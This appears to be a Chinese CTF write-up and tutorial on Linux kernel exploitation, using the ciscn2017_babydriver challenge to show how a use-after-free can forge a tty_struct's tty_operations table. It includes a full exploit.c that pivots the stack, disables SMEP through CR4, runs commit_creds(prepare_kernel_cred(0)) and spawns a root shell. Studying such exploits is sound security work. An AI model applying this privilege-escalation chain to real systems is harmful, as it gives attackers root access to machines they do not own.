linux kernel pwn学习之伪造tty_struct执行任意函数

161 篇文章 9 订阅
161 篇文章 9 订阅

Linux Kernel伪造tty_struct执行任意函数

当用户打开ptmx驱动时,会分配一个tty_struct结构,它的结构如下

  1. struct tty_struct {  
  2.     int magic;  
  3.     struct kref kref;  
  4.     struct device *dev;  
  5.     struct tty_driver *driver;  
  6.     const struct tty_operations *ops;  
  7.     int index;  
  8.     /* Protects ldisc changes: Lock tty not pty */  
  9.     struct ld_semaphore ldisc_sem;  
  10.     struct tty_ldisc *ldisc;  
  11.     struct mutex atomic_write_lock;  
  12.     struct mutex legacy_mutex;  
  13.     struct mutex throttle_mutex;  
  14.     struct rw_semaphore termios_rwsem;  
  15.     struct mutex winsize_mutex;  
  16.     spinlock_t ctrl_lock;  
  17.     spinlock_t flow_lock;  
  18.     /* Termios values are protected by the termios rwsem */  
  19.     struct ktermios termios, termios_locked;  
  20.     struct termiox *termiox;    /* May be NULL for unsupported */  
  21.     char name[64];  
  22.     struct pid *pgrp;       /* Protected by ctrl lock */  
  23.     struct pid *session;  
  24.     unsigned long flags;  
  25.     int count;  
  26.     struct winsize winsize;     /* winsize_mutex */  
  27.     unsigned long stopped:1,    /* flow_lock */  
  28.               flow_stopped:1,  
  29.               unused:BITS_PER_LONG - 2;  
  30.     int hw_stopped;  
  31.     unsigned long ctrl_status:8,    /* ctrl_lock */  
  32.               packet:1,  
  33.               unused_ctrl:BITS_PER_LONG - 9;  
  34.     unsigned int receive_room;  /* Bytes free for queue */  
  35.     int flow_change;  
  36.     struct tty_struct *link;  
  37.     struct fasync_struct *fasync;  
  38.     wait_queue_head_t write_wait;  
  39.     wait_queue_head_t read_wait;  
  40.     struct work_struct hangup_work;  
  41.     void *disc_data;  
  42.     void *driver_data;  
  43.     spinlock_t files_lock;      /* protects tty_files list */  
  44.     struct list_head tty_files;  
  45. #define N_TTY_BUF_SIZE 4096  
  46.     int closing;  
  47.     unsigned char *write_buf;  
  48.     int write_cnt;  
  49.     /* If the tty has a pending do_SAK, queue it here - akpm */  
  50.     struct work_struct SAK_work;  
  51.     struct tty_port *port;  
  52. } __randomize_layout;  

其中有一个const struct tty_operations *ops指针,它是一个tty_operations指针,而tty_operations结构体里是一些列对驱动操作的函数指针。

  1. struct tty_operations {  
  2.     struct tty_struct * (*lookup)(struct tty_driver *driver,  
  3.             struct file *filp, int idx);  
  4.     int  (*install)(struct tty_driver *driver, struct tty_struct *tty);  
  5.     void (*remove)(struct tty_driver *driver, struct tty_struct *tty);  
  6.     int  (*open)(struct tty_struct * tty, struct file * filp);  
  7.     void (*close)(struct tty_struct * tty, struct file * filp);  
  8.     void (*shutdown)(struct tty_struct *tty);  
  9.     void (*cleanup)(struct tty_struct *tty);  
  10.     int  (*write)(struct tty_struct * tty,  
  11.               const unsigned char *buf, int count);  
  12.     int  (*put_char)(struct tty_struct *tty, unsigned char ch);  
  13.     void (*flush_chars)(struct tty_struct *tty);  
  14.     int  (*write_room)(struct tty_struct *tty);  
  15.     int  (*chars_in_buffer)(struct tty_struct *tty);  
  16.     int  (*ioctl)(struct tty_struct *tty,  
  17.             unsigned int cmd, unsigned long arg);  
  18.     long (*compat_ioctl)(struct tty_struct *tty,  
  19.                  unsigned int cmd, unsigned long arg);  
  20.     void (*set_termios)(struct tty_struct *tty, struct ktermios * old);  
  21.     void (*throttle)(struct tty_struct * tty);  
  22.     void (*unthrottle)(struct tty_struct * tty);  
  23.     void (*stop)(struct tty_struct *tty);  
  24.     void (*start)(struct tty_struct *tty);  
  25.     void (*hangup)(struct tty_struct *tty);  
  26.     int (*break_ctl)(struct tty_struct *tty, int state);  
  27.     void (*flush_buffer)(struct tty_struct *tty);  
  28.     void (*set_ldisc)(struct tty_struct *tty);  
  29.     void (*wait_until_sent)(struct tty_struct *tty, int timeout);  
  30.     void (*send_xchar)(struct tty_struct *tty, char ch);  
  31.     int (*tiocmget)(struct tty_struct *tty);  
  32.     int (*tiocmset)(struct tty_struct *tty,  
  33.             unsigned int set, unsigned int clear);  
  34.     int (*resize)(struct tty_struct *tty, struct winsize *ws);  
  35.     int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);  
  36.     int (*get_icount)(struct tty_struct *tty,  
  37.                 struct serial_icounter_struct *icount);  
  38.     void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);  
  39. #ifdef CONFIG_CONSOLE_POLL  
  40.     int (*poll_init)(struct tty_driver *driver, int line, char *options);  
  41.     int (*poll_get_char)(struct tty_driver *driver, int line);  
  42.     void (*poll_put_char)(struct tty_driver *driver, int line, char ch);  
  43. #endif  
  44.     int (*proc_show)(struct seq_file *, void *);  
  45. } __randomize_layout;  

比如,我们对ptmx驱动进行write操作时,就会调用这个里面的write指针指向的函数。也就是,我们如果能伪造tty_operations结构体,将里面的指针指向我们需要执行的函数。然后将tty_struct结构体里的const struct tty_operations *ops指针指向我们伪造的tty_operations结构体,然后对驱动执行对应的操作,比如write,就能触发函数的执行。tty_struct结构体,我们可以通过漏洞来控制,然后修改指针。这种思想,就如同是glibc下的house of orange,house of orange是伪造vtable表,而我们这里,同样是伪造函数表。为了加深理解,我们以ciscn2017_babydriver为例,之前,我们利用UAF修改了cred结构,这次,我们用同样的方法,修改tty_struct结构。

ciscn2017_babydriver

阅读对应版本的linux内核源码,我们发现,tty_struct结构体的大小为0x2E0。为了实现执行的目的,我们可以利用ROP,但是本题没有栈溢出,我们可以伪造tty_operations里面对应的函数的来将栈转移到我们可以控制的地方。为了清楚对应的函数被调用前的各个寄存器的值,以方便我们后续的分析,我们先将tty_operations[7]伪造为babydriver里的babyread函数的地址。查看结构体,tty_operations[7]也就是对驱动进行write操作时的处理函数的指针。我们现在把它伪造指向了babyread,然后利用gdb调试,对ptmx驱动执行write操作,在babyread函数前断点。

  1. for (int i=0;i<35;i++) {  
  2.    fake_tty_operations[i] = 0xffffffffc0000000 + i;  
  3. }  
  4. fake_tty_operations[7] = 0xffffffffc0000130;  //babyread的函数地址

然后,执行exp,在babyread下断了下来,我们查看各个寄存器的值,发现rax正好指向我们的fake_tty_operations,

因此,我们只需要把fake_tty_operations[7]伪造成gadgets

  1. mov rsp,rax;  
  2. ...........  
  3. ret  

这样,我们对驱动执行write操作时,就能够将栈转移到我们用户的fake_tty_operations空间里,我们在这里面再布置一个栈转移的gadgets,将栈最终转移到我们的rop数组里,执行rop。

完成这些以后,就是常规ROP操作了。我们最终的exploit.c程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//mov cr4, rdi ; pop rbp ; ret
#define MOV_CR4_RDI 0xffffffff81004d80
//pop rdi ; ret
#define POP_RDI 0xffffffff810d238d
//swapgs ; pop rbp ; ret
#define SWAPGS 0xffffffff81063694
//iretq
#define IRETQ 0xFFFFFFFF8181A797
//commit_creds函数
#define COMMIT_CREDS 0xffffffff810a1420
// prepare_kernel_cred
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
//mov rsp, rax;dec ebx;ret,做栈迁移用
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5
#define POP_RAX 0xffffffff8100ce6e

void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}

void getShell() {
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
}

size_t user_cs,user_ss,user_flags,user_sp;

/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

int main() {
   //保存用户态寄存器
   saveUserState();
   int fd1 = open("/dev/babydev",O_RDWR);
   int fd2 = open("/dev/babydev",O_RDWR);
   if (fd1 < 0 || fd2 < 0) {
      printf("open file error!!\n");
      exit(-1);
   }
   //申请一个tty_struct大小的堆
   ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
   //释放这个堆
   close(fd1);
   size_t rop[0x100];
   int i = 0;
   rop[i++] = POP_RDI;
   rop[i++] = 0x6f0;
   rop[i++] = MOV_CR4_RDI;
   rop[i++] = 0;
   rop[i++] = (size_t)getRoot;
   rop[i++] = SWAPGS;
   rop[i++] = 0;
   rop[i++] = IRETQ;
   rop[i++] = (size_t)getShell;
   rop[i++] = user_cs;
   rop[i++] = user_flags;
   rop[i++] = user_sp;
   rop[i++] = user_ss;

   size_t fake_tty_operations[35];
   /*for (int i=0;i<35;i++) {
      fake_tty_operations[i] = 0xffffffffc0000000 + i;
   }*/
   //这个位置是write函数的指针,经过调试,我们发现当调用这个函数时,rax正好是fake_tty_operation的地址,于是,我们把栈转移到
   //fake_tty_operations里
   fake_tty_operations[7] = MOV_RSP_RAX;
   //栈转移到fake_tty_operations里后,我们继续做一次转移,把转转移到我们的rop数组里,执行ROP
   fake_tty_operations[0] = POP_RAX;
   fake_tty_operations[1] = (size_t)rop;
   fake_tty_operations[2] = MOV_RSP_RAX;

   size_t fake_tty_struct[4];
   //这个操作会申请tty_struct的空间,也就是会申请到我们之前释放的那个堆里,我们可以用fd2来对它操作
   int fd_tty = open("/dev/ptmx", O_RDWR);
   //我们先把原始的tty_struct前面的数据读出来,存储
   read(fd2,fake_tty_struct,4*8);
   //修改const struct tty_operations *ops;指针,指向我们伪造的tty_operations
   fake_tty_struct[3] = (size_t)fake_tty_operations;
   //把篡改过的tty_struct写回去
   write(fd2,fake_tty_struct,4*8);
   char buf[0x10];
   write(fd_tty,buf,0x10);
   return 0;
}

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值